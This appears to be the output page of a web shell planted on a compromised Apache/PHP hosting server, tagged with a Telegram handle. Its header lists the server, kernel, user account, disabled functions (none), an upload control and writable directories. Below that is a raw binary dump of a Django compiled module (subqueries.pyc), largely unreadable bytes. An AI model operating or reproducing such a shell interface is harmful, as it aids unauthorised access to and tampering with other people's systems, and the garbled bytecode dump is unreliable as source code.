https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/db/models/sql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/db/models/sql/subqueries.pyc
�
r�\c@s�dZddlmZddlmZddlmZddlmZddl	m
Z
mZmZddl
TddlmZmZdd	lmZdd
lmZmZddlmZddlmZdd
lmZddlmZddddddgZdefd��YZdefd��YZdefd��YZ defd��YZ!de!fd��YZ"defd��YZ#dS(sR
Query subclasses which provide extra functionality beyond simple data retrieval.
i����(tsettings(t
FieldError(tconnections(t
LOOKUP_SEP(t	DateFieldt
DateTimeFieldtFieldDoesNotExist(t*(tDatetDateTime(tQuery(tANDt
Constraint(tPromise(t
force_text(tsix(ttimezonetDeleteQuerytUpdateQuerytInsertQueryt	DateQueryt
DateTimeQuerytAggregateQuerycBs2eZdZdZd�Zdd�Zd�ZRS(so
    Delete queries are done through this class, since they are more constrained
    than general queries.
    tSQLDeleteCompilercCs/|g|_||_|j|�jd�dS(N(ttablestwheretget_compilertexecute_sqltNone(tselfttableRtusing((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pytdo_querys	cCs�|s|j�j}nx~tdt|�t�D]d}|j�}|jtd|j	|�d|||t!ft
�|j|j�j|d|�q1WdS(s�
        Set up and execute delete queries for all the objects in pk_list.

        More than one physical query may be executed if there are a
        lot of values in pk_list.
        itinRN(
tget_metatpktrangetlentGET_ITERATOR_CHUNK_SIZEtwhere_classtaddRRtcolumnRR tdb_table(Rtpk_listRtfieldtoffsetR((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pytdelete_batch$sc	Cs^|j}|j�|j�g|jD]}|j|r'|^q'}|s\||jkr{t|j�r{|j|_n�|jjj	}t
|jjs�t
|jddt��}|s�dS|j||�dS|j�t|j�|jfd�g|_|}|j�}|jtd|j|�d|ft�||_|j|�jd�dS(s�
        Delete the queryset in one SQL query (if possible). For simple queries
        this is done by copying the query.query.where to self.query, for
        complex queries by using subquery.
        R#tflatNR!(tquerytget_initial_aliasRtalias_refcountR%thavingRtmodelt_metaR#Rtfeaturestupdate_can_self_selecttlisttvalues_listtTrueR.tclear_select_clauset
SelectInfoR)RtselectR'R(RRRR(	RR0Rtinnerqtttinnerq_used_tablesR#tvaluesR((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyt	delete_qs3s,	


$(	N(t__name__t
__module__t__doc__tcompilerR RR.RB(((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRs
	cBs_eZdZdZd�Zd�Zd
d�Zd�Zd�Z	d�Z
d�Zd	�ZRS(s+
    Represents an "update" SQL query.
    tSQLUpdateCompilercOs'tt|�j||�|j�dS(N(tsuperRt__init__t_setup_query(Rtargstkwargs((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRI_scCs1g|_d|_t|d�s-i|_ndS(s�
        Runs on initialization and after cloning. Any attributes that would
        normally be set in __init__ should go in here, instead, so that they
        are also set up after a clone() call.
        trelated_updatesN(RARtrelated_idsthasattrRM(R((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRJcs		cKs(tt|�j|d|jj�|�S(NRM(RHRtcloneRMtcopy(RtklassRL((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRPnscCs�|j�j}|j|�x{tdt|�t�D]a}|j�|_|jjt	d|j|�d|||t!ft�|j
|�jd�q5WdS(NiR!(R"R#tadd_update_valuesR$R%R&R'RR(RRR)RRR(RR+RARtpk_fieldR-((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pytupdate_batchrs
c	Cs�g}x�tj|�D]�\}}|j�j|�\}}}}|sP|rctd|��n|r�|j|||�qn|j|||f�qW|j|�S(s�
        Convert a dictionary of field name to value mappings into an update
        query. This is the entry point for the public update() method on
        querysets.
        sMCannot update model field %r (only non-relations and foreign keys permitted).(Rt	iteritemsR"tget_field_by_nameRtadd_related_updatetappendtadd_update_fields(	RRAt
values_seqtnametvalR,R4tdirecttm2m((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRS|s!
cCsag|D]@}t|dt�rA|d|dt|d�fn|^q}|jj|�dS(s�
        Turn a sequence of (field, model, value) triples into an update query.
        Used by add_update_values() as well as the "fast" update path when
        saving models.
        iiiN(t
isinstanceR
RRAtextend(RR[tvalue((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRZ�sJcCsRy!|j|j|d|f�Wn*tk
rM|d|fg|j|<nXdS(s�
        Adds (name, value) to an update query for an ancestor model.

        Updates are coalesced so that we only run one update query per ancestor.
        N(RMRYRtKeyError(RR4R,Rb((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRX�s!
cCs�|js
gSg}xjtj|j�D]V\}}t|�}||_|jdk	ro|jd|jf�n|j|�q&W|S(s�
        Returns a list of query objects: one for each update required to an
        ancestor model. Each query will have the same filtering conditions as
        the current query but will only update a single table.
        tpk__inN(	RMRRVRRARNRt
add_filterRY(RtresultR4RAR0((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pytget_related_updates�s		N(
RCRDRERFRIRJRRPRURSRZRXRg(((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRXs			
			cBs/eZdZd�Zdd�Zed�ZRS(tSQLInsertCompilercOs/tt|�j||�g|_g|_dS(N(RHRRItfieldstobjs(RRKRL((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRI�s	cKsLi|jd6|jd6|jd6}|j|�tt|�j||�S(NRiRjtraw(RiRjRktupdateRHRRP(RRRRLtextras((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRP�s

cCs~||_x\|D]T}xK|D]C}t||j�}t|t�rt||jt|��qqWqW||_||_dS(s�
        Set up the insert query from the 'insert_values' dictionary. The
        dictionary gives the model field names and their target values.

        If 'raw_values' is True, the values in the 'insert_values' dictionary
        are inserted directly into the query, rather than passed as SQL
        parameters. This provides a way to insert NULL and DEFAULT keywords
        into the query, for example.
        N(	RitgetattrtattnameR`R
tsetattrRRjRk(RRiRjRkR,tobjRb((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyt
insert_values�s
	

$	N(RCRDRFRIRRPtFalseRr(((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyR�s		cBs2eZdZdZdd�Zd�Zd�ZRS(s�
    A DateQuery is a normal query, except that it specifically selects a single
    date field. This requires some special handling when converting the results
    back to Python objects, so we put it in a separate class.
    tSQLDateCompilertASCcCsy.|j|jt�|j�|j��}Wn0tk
r`td|j�j|f��nX|d}|j|�|dd}|j	||j
f|�}|j�t|d�g|_t|_|dkr�dgndg|_|jr
|jd|tf�ndS(	s>
        Converts the query into an extraction query.
        s%s has no field named '%s'iii����Ruis
%s__isnullN(tsetup_joinstsplitRR"R1RRtobject_namet_check_fieldt_get_selectR)R;R<RR=R:tdistincttorder_bytnullReRs(Rt
field_nametlookup_typetorderRfR,taliasR=((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyt
add_select�s$	



	!	cCsUt|t�s"td|j��tjrQt|t�sQtd|j��ndS(Ns%r isn't a DateField.s'%r is a DateTimeField, not a DateField.(R`RtAssertionErrorR\RtUSE_TZR(RR,((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRy�s
	cCs
t||�S(N(R(RtcolR((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRzs(RCRDRERFR�RyRz(((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyR�s
	cBs5eZdZdZddd�Zd�Zd�ZRS(s�
    A DateTimeQuery is like a DateQuery but for a datetime field. If time zone
    support is active, the tzinfo attribute contains the time zone to use for
    converting the values before truncating them. Otherwise it's set to None.
    tSQLDateTimeCompilercKsGd|kr+t|d�r+|j|d<ntt|�j|||�S(Nttzinfo(ROR�RHRRP(RRRtmemoRL((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRPscCs&t|t�s"td|j��dS(Ns%r isn't a DateTimeField.(R`RR�R\(RR,((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRyscCs:|jdkrd}ntj|j�}t|||�S(N(R�RRt_get_timezone_nameR	(RR�Rttzname((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRzs	N(RCRDRERFRRPRyRz(((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyRs
	cBseZdZdZd�ZRS(s�
    An AggregateQuery takes another query as a parameter to the FROM
    clause and only selects the elements in the provided list.
    tSQLAggregateCompilercCs+|j|�jdt�\|_|_dS(Ntwith_col_aliases(Rtas_sqlR:tsubqueryt
sub_params(RR0R((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pytadd_subquery(s(RCRDRERFR�(((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyR sN($REtdjango.confRtdjango.core.exceptionsRt	django.dbRtdjango.db.models.constantsRtdjango.db.models.fieldsRRRtdjango.db.models.sql.constantst#django.db.models.sql.datastructuresRR	tdjango.db.models.sql.queryR
tdjango.db.models.sql.whereRRtdjango.utils.functionalR
tdjango.utils.encodingRtdjango.utilsRRt__all__RRRRRR(((sA/tmp/pip-install-XxeQeY/django/django/db/models/sql/subqueries.pyt<module>s*
A]%-

https://t.me/AnonymousX5 - 2025